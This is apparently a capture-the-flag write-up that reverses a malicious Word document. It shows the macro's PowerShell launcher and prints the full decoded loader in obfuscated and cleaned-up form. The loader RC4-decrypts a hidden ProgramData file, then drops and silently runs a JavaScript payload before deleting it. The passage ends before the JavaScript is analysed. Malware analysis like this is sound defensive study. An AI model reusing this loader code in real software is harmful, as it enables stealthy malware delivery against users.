Malware Reversing: A Malicious Word document
Table of Contents
This was a challenge from GroupIB CTF.
Static analysis
We were given a zip: File.
First unzip the file, the password is infected
.
Unzipping the file, there is a Word document. Throwing it into VirusTotal:
Analyzing output of oleid:
There exists a VBA Macro script in the file. I failed to extract the VBA using olevba (it outputs the whole pdf embedded in the docs for some reasons). Moving on to dynamic analysis now.
Dynamic Analysis
Turn on Process Monitoring then view the doc file in Word. There is a Powershell process spawned from the WINWORD.EXE. It is trying to decode a base64 payload then execute it.
powershell.exe -Command "iex([syStEM.tEXt.ENCOdING]::UtF8.gETstriNg([SYsTeM.COnvERt]:: froMBase64StRing('MALWARE PAYLOAD')));exit"
Base64-decoded version of the malware:
$Yn0bWHiVBg6LTzSLvO5VyjFd8RoXvt6e7DILgQ5iLWs3SsNUWMdm2VrfjsTrQrxYVLkZAVK42ydYO0LQDgRAV0NDM7Jn1ELdaHBwu3Ti0URmtzFEEpV6VK7aRmvuBm9RiYVzD2XicaC4H78BpWzWwwBwyjLxtFqOIKymMatkYCWZaJ1Qfh264N5hLc61n77N0QY8QZhj7VZ0ePnfG9RCj6x6xQ7p4LR5DtaVK7pT0LVi72BvEg6Vuazq7JoYScRQQqwhKU0Ze9OMkZt8edSepAyYpJ1Olqrz1VT6yZunp2cpaMsn7LABFA81c6kQ4MEKqbwlbIfjDAbMFFZa4yYnWtx8vy8nJ9QLk2jIOfIjK1neZ5zqNpMYJ8ouF7aq1AwbSNgdGu1tdRxgP3xBvVQ1xxk6FMwnN7R6zPuvq8LTibSdE9Copr1AxJ5oPhLREc8pkef9wFsLx6VMzwxAafKqRlcLHc5t777FFVOmw0Z7Tq0kxVzzKMAtDpw3IrYtpXLCDciFXvdgamUqqnCf6igOUacVs4HEvCB9HmiwplnJlEUlk7jfpPFrSuhq9cbRQQNNl1VEpJIZY3zUyMvsOGYt66ICSx8QYnBkDFp1ewzyHF5IbC5YysPPV1qCbprYfEv1bZ2zDOTgtmNI8H4WdEEvqf6TYpow5P33ztTc4dgX3fm63U8qqOJ0vhfittA9hUEXKIpv0ajGgDZQAEQis4Z19UzhPip69rNal2LkxTrN5Jr0Yt2XDK2c1jzNJzvS13OUvT8pXdU4vPiZVdiN6UN2lJPc6XIx2UDpSQdMBVGiY00ePBKeZnAbHQauEXwVASrmF6VwREaa1986oTbbdFQXJW0uZ = "Ge"
$Ffu9ntkd4V4syJ6OD3xJXzEvafkYSo6GBgWyXZ2oRNfOVJbEBOx7bp8t8pzVChedtf2VhQdsjZwlywwcIc7PFEYTWsWDjVcl8olw0iBnnoj4YXBffT33za33T7jQCmVw8Rwpu2M61TQd5F4FnSZZHmaHzkPFjvz3m4VxBPzpfXuO53ZXsSkmuahxJGQ1D2swjIx0id3UYHozmakKRe1NUFKVdVJxyd8JZ4Th8wq94BA47R6Z8RgfZJA8VOutg9DJMIgRdJJMM1ryJ1y9wT5JZ8wh2mHWGT99FYxkADsXqiGRo1k6wP4QXCKGZbMAuzAfQnyY7zcW5QrCNEY0Vymk6tu1jSmKSbZYwJhspaL2rlcjQVTNAmMzsD9IQUCBwv9vRab10uSLgxv8erNd4JsQLXyu6Q0zsLn3g8A53d6qOi8TIsZarjooxznrxUx6xqyEGeIZPDTugcws2lWIgH7R7hcCzlpkge69eSDfTbdeNF4ap4JMgYwo7kMqffVi7dl0d7LjIHtFwulCuOkPLRJz11S7QepsfnAKJWEQul9m2ae2DUc5bbwf0dFBtXQ4z6Ew37xzRpoqLg7vUHwWFcPSzINAsuQs90SgiXAVITkAUXPe47eQ9dki77pbZLCxpVT4TmunHNx7L0asiw6Tr2koJ4TiwhLWuhNUZNNXeVcyylwtFxwvdnDuJu8jgUDQAuTX7DIIjQwtl9ywwJ2pM2JVDspeqDwsA5HLo0YEklMPJMsM9A6QHi56I3B5VWUAjD = "tByte"
$jwkL4IgQeAGhVxs4qqK05uE7nFJOsE2mg9wyFKwjkz5a2pyfSINcxwUnBGJM0VB92Q27wiAkyY2ZXTWVKwyt6tb42D48ULPjIn5xyAvqeBqicwE9us5XK2YdiBBSvZmdLhB2G5waGMVeJ1YDwD1bMEEpeHVzoVdKMWR4vNQlILUNWozzmIxZ0SYEQsrbJGDPADMUOZ31OJXWzAbhHZtItEAV0O7OMt5GwS0QSmkeOtRtjnhSIMf71jRpejYQEJAYW2BW22TN6NURxTQQbrPXc3IT5ZPj0LlDIDOwIeS4sN6rC1xgZD8iXpxgA4KJxipkLOLgfs8fQX0ZQOVkKwvD3qCzHqQXoB7nokZMw5DJzPEmnqi1biLIMILA7Tv1ejKiqJcQXkBxWV5wDV6JnGy2nFFwUj0wQOIxZzDG7fBx4T1u0MSN09lAW4a5ZxpJtSqm9cBZJIUqQIeQJO5TcXaZo0AbJ6BJaQa5QmhZyjRj6XpGQ1n7mFH7ZNFobt5JVZ9Ue9LwWkbzg5NGAnI8RJRB9ta5zX5JmOoNPLUHW5U8LNgKPHPhy2AUKx3RPTnoa5oVbpIU5l5KDp3E50wleYHK3vXOTZ5KGB5eEcqnMN8iCEVYK77FrPFtSr9kBiYx4JKEt8WV782trXgXywHmtiQOVYRxDjE9Gth98HwE8o4kwQEpW36k8iv0BfvAqowFOsVKNOUXwjPVaSaW3NmnCQCwQsV79ss3Lv6lHPHEFpEpR82hTDZqMBVAFokTakbM9jowUAA0uQkLEVfmtMRUd6h2KhNqlJn2kj3Y5HrnEN6N3xUgfswGLwKQlmLV1B6bMkBjrhtzpzJaCEqZXqu5dkahCyl7bVj8syysKlQ3wAkmCJEFMj7t58DPMei5ngV2vwfFagsmKUFKFmGmAhBoFi0lufjEThQHEXXvAEgmyoiM5Duu4RDKpWRaK1jKBJAKlzQeq52kEeLx5XdP8d2AAmnc3ePbRniuoPjhbrNN9PBM = "s"
$kghj3kCRqabNistCQgl7UP2Pdrg4cdoYim7gsRRwb8HF8XQN19jHpGGEtbHfQNaQxBbZrGOzsrSXh0z5vmHrcRTH9DBG1S1eC3ZJamrI8JeaQIDTNcK0nWJpUMdFAk6lIV3YXf2BOC98IEjhXYlUqiqzMzKbZsKPQhwvU5Jo7yyIaB4VoQH3gvsmllT1drH9Tk4VknoIwbTeCjsaM30irgyA8kjIoqpL9T6j3dN58t4pHI6oTpcCQ4BbQa9b5qm3RYIkmPlBdDp2ZjTgPbonO3xfqqUSBRrnlbMXwcHh0n83mR2dd5ENYltoO8vlJAN5PboH7zhJyjrU1H8x4GpRK9Fs6Ud2bB9Eyekx7RvVWJWQJEI2a3D4dl7pufAEINkuA6f6SGFobKAbODjZYEI9ulu83BcYTalEU34FDUu5VdcQpkC1vrBFBGHjuGuqrcs02NxbLgOkH9f4go9YtNqQoRtxOhCSarPSuwPFsfa6UvOJ8FHEAiFA6QDaUufnfz765blKu9ah2aq9SJzVmlqW3Tv5CypbLY33rJx3oqlWmY9C8dg9L5Zaz6Kcqz91uHT6r26YznS9HTekYZ94wjqs2wuVwmdgooP5xbsA6tY3Ty3G9wJVceBHoZYK9olLX0eoZOGdRp5BsfJIYQhZglX0dbW5UVser5VJ0cFGMf8q26WS4H3kUVKKvQP7TTw4nC1MAjBNlUrjWG2AmlNIzCtnsMFnd5qHLiKc9vRkxOOBxzbRI5iHlZfVVFvzEeVGTu1yN7Zy3yZASTaT650ZAdojKGFxcrLsZXx85RcGZTg2Kw92AoOnwjFOeYE0XsPXrbklc7hZHvTrlJD2HftSCobVBDqvm1vEyoJUsRTMSG5RefXhoK7jCP6Zefc7C = ($Yn0bWHiVBg6LTzSLvO5VyjFd8RoXvt6e7DILgQ5iLWs3SsNUWMdm2VrfjsTrQrxYVLkZAVK42ydYO0LQDgRAV0NDM7Jn1ELdaHBwu3Ti0URmtzFEEpV6VK7aRmvuBm9RiYVzD2XicaC4H78BpWzWwwBwyjLxtFqOIKymMatkYCWZaJ1Qfh264N5hLc61n77N0QY8QZhj7VZ0ePnfG9RCj6x6xQ7p4LR5DtaVK7pT0LVi72BvEg6Vuazq7JoYScRQQqwhKU0Ze9OMkZt8edSepAyYpJ1Olqrz1VT6yZunp2cpaMsn7LABFA81c6kQ4MEKqbwlbIfjDAbMFFZa4yYnWtx8vy8nJ9QLk2jIOfIjK1neZ5zqNpMYJ8ouF7aq1AwbSNgdGu1tdRxgP3xBvVQ1xxk6FMwnN7R6zPuvq8LTibSdE9Copr1AxJ5oPhLREc8pkef9wFsLx6VMzwxAafKqRlcLHc5t777FFVOmw0Z7Tq0kxVzzKMAtDpw3IrYtpXLCDciFXvdgamUqqnCf6igOUacVs4HEvCB9HmiwplnJlEUlk7jfpPFrSuhq9cbRQQNNl1VEpJIZY3zUyMvsOGYt66ICSx8QYnBkDFp1ewzyHF5IbC5YysPPV1qCbprYfEv1bZ2zDOTgtmNI8H4WdEEvqf6TYpow5P33ztTc4dgX3fm63U8qqOJ0vhfittA9hUEXKIpv0ajGgDZQAEQis4Z19UzhPip69rNal2LkxTrN5Jr0Yt2XDK2c1jzNJzvS13OUvT8pXdU4vPiZVdiN6UN2lJPc6XIx2UDpSQdMBVGiY00ePBKeZnAbHQauEXwVASrmF6VwREaa1986oTbbdFQXJW0uZ + $Ffu9ntkd4V4syJ6OD3xJXzEvafkYSo6GBgWyXZ2oRNfOVJbEBOx7bp8t8pzVChedtf2VhQdsjZwlywwcIc7PFEYTWsWDjVcl8olw0iBnnoj4YXBffT33za33T7jQCmVw8Rwpu2M61TQd5F4FnSZZHmaHzkPFjvz3m4VxBPzpfXuO53ZXsSkmuahxJGQ1D2swjIx0id3UYHozmakKRe1NUFKVdVJxyd8JZ4Th8wq94BA47R6Z8RgfZJA8VOutg9DJMIgRdJJMM1ryJ1y9wT5JZ8wh2mHWGT99FYxkADsXqiGRo1k6wP4QXCKGZbMAuzAfQnyY7zcW5QrCNEY0Vymk6tu1jSmKSbZYwJhspaL2rlcjQVTNAmMzsD9IQUCBwv9vRab10uSLgxv8erNd4JsQLXyu6Q0zsLn3g8A53d6qOi8TIsZarjooxznrxUx6xqyEGeIZPDTugcws2lWIgH7R7hcCzlpkge69eSDfTbdeNF4ap4JMgYwo7kMqffVi7dl0d7LjIHtFwulCuOkPLRJz11S7QepsfnAKJWEQul9m2ae2DUc5bbwf0dFBtXQ4z6Ew37xzRpoqLg7vUHwWFcPSzINAsuQs90SgiXAVITkAUXPe47eQ9dki77pbZLCxpVT4TmunHNx7L0asiw6Tr2koJ4TiwhLWuhNUZNNXeVcyylwtFxwvdnDuJu8jgUDQAuTX7DIIjQwtl9ywwJ2pM2JVDspeqDwsA5HLo0YEklMPJMsM9A6QHi56I3B5VWUAjD + $jwkL4IgQeAGhVxs4qqK05uE7nFJOsE2mg9wyFKwjkz5a2pyfSINcxwUnBGJM0VB92Q27wiAkyY2ZXTWVKwyt6tb42D48ULPjIn5xyAvqeBqicwE9us5XK2YdiBBSvZmdLhB2G5waGMVeJ1YDwD1bMEEpeHVzoVdKMWR4vNQlILUNWozzmIxZ0SYEQsrbJGDPADMUOZ31OJXWzAbhHZtItEAV0O7OMt5GwS0QSmkeOtRtjnhSIMf71jRpejYQEJAYW2BW22TN6NURxTQQbrPXc3IT5ZPj0LlDIDOwIeS4sN6rC1xgZD8iXpxgA4KJxipkLOLgfs8fQX0ZQOVkKwvD3qCzHqQXoB7nokZMw5DJzPEmnqi1biLIMILA7Tv1ejKiqJcQXkBxWV5wDV6JnGy2nFFwUj0wQOIxZzDG7fBx4T1u0MSN09lAW4a5ZxpJtSqm9cBZJIUqQIeQJO5TcXaZo0AbJ6BJaQa5QmhZyjRj6XpGQ1n7mFH7ZNFobt5JVZ9Ue9LwWkbzg5NGAnI8RJRB9ta5zX5JmOoNPLUHW5U8LNgKPHPhy2AUKx3RPTnoa5oVbpIU5l5KDp3E50wleYHK3vXOTZ5KGB5eEcqnMN8iCEVYK77FrPFtSr9kBiYx4JKEt8WV782trXgXywHmtiQOVYRxDjE9Gth98HwE8o4kwQEpW36k8iv0BfvAqowFOsVKNOUXwjPVaSaW3NmnCQCwQsV79ss3Lv6lHPHEFpEpR82hTDZqMBVAFokTakbM9jowUAA0uQkLEVfmtMRUd6h2KhNqlJn2kj3Y5HrnEN6N3xUgfswGLwKQlmLV1B6bMkBjrhtzpzJaCEqZXqu5dkahCyl7bVj8syysKlQ3wAkmCJEFMj7t58DPMei5ngV2vwfFagsmKUFKFmGmAhBoFi0lufjEThQHEXXvAEgmyoiM5Duu4RDKpWRaK1jKBJAKlzQeq52kEeLx5XdP8d2AAmnc3ePbRniuoPjhbrNN9PBM)
$fILEPaTH = "$EnV:PROGRAMDATA\CVR49A6.tmp.cvr"
$ENvvaRnamE = "PROCESSOR_ARCHITECTURE"
function UuZzxhNfzzykTVtsxxxYhNlHzaPpKKIbWqLloFdOT {
param([Byte[]]$kEy, [Byte[]]$Data)
$S = 0..255
$j = 0
for ($I = 0; $I -lt 256; $I++) {
$j = ($j + $S[$I] + $kEy[$I % $kEy.Length]) % 256
$S[$I], $S[$j] = $S[$j], $S[$I]
}
$I = $j = 0
for ($N = 0; $N -lt $Data.Length; $N++) {
$I = ($I + 1) % 256
$j = ($j + $S[$I]) % 256
$S[$I], $S[$j] = $S[$j], $S[$I]
$k = $S[($S[$I] + $S[$j]) % 256]
$Data[$N] = $Data[$N] -bxor $k
}
return $Data
}
$key = [sySTEM.eNvIROnmENt]::GetEnvironmentVariable($ENvvaRnamE)
if (-not $key) { exit 1 }
$kEybYtEs = [SYSTEM.Text.eNcoDINg]::UTF8.$kghj3kCRqabNistCQgl7UP2Pdrg4cdoYim7gsRRwb8HF8XQN19jHpGGEtbHfQNaQxBbZrGOzsrSXh0z5vmHrcRTH9DBG1S1eC3ZJamrI8JeaQIDTNcK0nWJpUMdFAk6lIV3YXf2BOC98IEjhXYlUqiqzMzKbZsKPQhwvU5Jo7yyIaB4VoQH3gvsmllT1drH9Tk4VknoIwbTeCjsaM30irgyA8kjIoqpL9T6j3dN58t4pHI6oTpcCQ4BbQa9b5qm3RYIkmPlBdDp2ZjTgPbonO3xfqqUSBRrnlbMXwcHh0n83mR2dd5ENYltoO8vlJAN5PboH7zhJyjrU1H8x4GpRK9Fs6Ud2bB9Eyekx7RvVWJWQJEI2a3D4dl7pufAEINkuA6f6SGFobKAbODjZYEI9ulu83BcYTalEU34FDUu5VdcQpkC1vrBFBGHjuGuqrcs02NxbLgOkH9f4go9YtNqQoRtxOhCSarPSuwPFsfa6UvOJ8FHEAiFA6QDaUufnfz765blKu9ah2aq9SJzVmlqW3Tv5CypbLY33rJx3oqlWmY9C8dg9L5Zaz6Kcqz91uHT6r26YznS9HTekYZ94wjqs2wuVwmdgooP5xbsA6tY3Ty3G9wJVceBHoZYK9olLX0eoZOGdRp5BsfJIYQhZglX0dbW5UVser5VJ0cFGMf8q26WS4H3kUVKKvQP7TTw4nC1MAjBNlUrjWG2AmlNIzCtnsMFnd5qHLiKc9vRkxOOBxzbRI5iHlZfVVFvzEeVGTu1yN7Zy3yZASTaT650ZAdojKGFxcrLsZXx85RcGZTg2Kw92AoOnwjFOeYE0XsPXrbklc7hZHvTrlJD2HftSCobVBDqvm1vEyoJUsRTMSG5RefXhoK7jCP6Zefc7C($key)
if (-not (Test-Path -Path $fILEPaTH)) { exit 1 }
$bASe64dATA = Get-Content -Path $fILEPaTH -Raw
try { $DECoDEddaTa = [System.CONVert]::FromBase64String($bASe64dATA) } catch { exit 1 }
try { $DEcrYPTEddAta = UuZzxhNfzzykTVtsxxxYhNlHzaPpKKIbWqLloFdOT -Key $kEybYtEs -Data $DECoDEddaTa } catch { exit 1 }
try {
$MEMORYstreAM = New-Object System.IO.MemoryStream
$MEMORYstreAM.Write($DEcrYPTEddAta, 0, $DEcrYPTEddAta.Length)
$MEMORYstreAM.Position = 0
$GzipstreAm = New-Object SystEM.iO.CoMprEsSIon.GZIpsTrEaM($MEMORYstreAM, [syStEM.io.compREssIOn.coMpRessiONmODE]::Decompress)
$outpUTStreAm = New-Object System.IO.MemoryStream
$GzipstreAm.CopyTo($outpUTStreAm)
$DECOmPReSsEDDATa = $outpUTStreAm.ToArray()
$GzipstreAm.Close()
$MEMORYstreAM.Close()
} catch { exit 1 }
$TempDIr = [sYSTem.IO.PaTh]::GetTempPath()
$temPFIle = Join-Path -Path $TempDIr -ChildPath "$([sySTEm.GuId]::NewGuid()).js"
$D = [SYSTEM.Text.eNcoDINg]::UTF8.GetString($DECOmPReSsEDDATa)
Set-Content -Path $temPFIle -Value $D
Start-Process -FilePath "cscript.exe" -ArgumentList $temPFIle -WindowStyle Hidden
Start-Sleep -Seconds 10
Remove-Item -Path $temPFIle -Force
Throw it into Copilot so it will deobfuscate and clean the whole thing for us:
# Define variables with decoded values
$part1 = "Get"
$part2 = "tByte"
$part3 = "s"
$combinedKey = $part1 + $part2 + $part3
# Define the file path and environment variable name
$filePath = "$Env:PROGRAMDATA\CVR49A6.tmp.cvr"
$envVarName = "PROCESSOR_ARCHITECTURE"
# Function to decrypt data using RC4 algorithm
function Decrypt-RC4 {
param([Byte[]]$key, [Byte[]]$data)
$S = 0..255
$j = 0
for ($i = 0; $i -lt 256; $i++) {
$j = ($j + $S[$i] + $key[$i % $key.Length]) % 256
$S[$i], $S[$j] = $S[$j], $S[$i]
}
$i = $j = 0
for ($n = 0; $n -lt $data.Length; $n++) {
$i = ($i + 1) % 256
$j = ($j + $S[$i]) % 256
$S[$i], $S[$j] = $S[$j], $S[$i]
$k = $S[($S[$i] + $S[$j]) % 256]
$data[$n] = $data[$n] -bxor $k
}
return $data
}
# Get the key from the environment variable
$key = [System.Environment]::GetEnvironmentVariable($envVarName)
if (-not $key) { exit 1 }
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key)
# Check if the file exists
if (-not (Test-Path -Path $filePath)) { exit 1 }
# Read and decode the base64 data from the file
$base64Data = Get-Content -Path $filePath -Raw
try {
$decodedData = [System.Convert]::FromBase64String($base64Data)
} catch {
exit 1
}
# Decrypt the data
try {
$decryptedData = Decrypt-RC4 -Key $keyBytes -Data $decodedData
} catch {
exit 1
}
# Decompress the decrypted data
try {
$memoryStream = New-Object System.IO.MemoryStream
$memoryStream.Write($decryptedData, 0, $decryptedData.Length)
$memoryStream.Position = 0
$gzipStream = New-Object System.IO.Compression.GZipStream($memoryStream, [System.IO.Compression.CompressionMode]::Decompress)
$outputStream = New-Object System.IO.MemoryStream
$gzipStream.CopyTo($outputStream)
$decompressedData = $outputStream.ToArray()
$gzipStream.Close()
$memoryStream.Close()
} catch {
exit 1
}
# Create a temporary file and write the decompressed data to it
$tempDir = [System.IO.Path]::GetTempPath()
$tempFile = Join-Path -Path $tempDir -ChildPath "$([System.Guid]::NewGuid()).js"
$decompressedString = [System.Text.Encoding]::UTF8.GetString($decompressedData)
Set-Content -Path $tempFile -Value $decompressedString
# Execute the temporary file using cscript.exe
Start-Process -FilePath "cscript.exe" -ArgumentList $tempFile -WindowStyle Hidden
# Wait for 10 seconds and then remove the temporary file
Start-Sleep -Seconds 10
Remove-Item -Path $tempFile -Force
The malware is taking data from C:\ProgramData\CVR49A6.tmp.cvr
then RC4-decrypting -> store the file at tempDir -> executing the decrypted content with cscript.exe
. One problem is that the key used for decrypting is the processor architecture the malware was built for. Mine was AMD64 and it wasn’t able to decrypt the thing. Try with ARM64 and it works. Comment the last 3 lines so the JS is not executed and deleted. The dropped JS file is obsfucated. Just throw it into ChatGPT, it will do the preliminary analysis for us, we can spot the RC4 encrypting function in the code and from there we can deobsfucate other functions: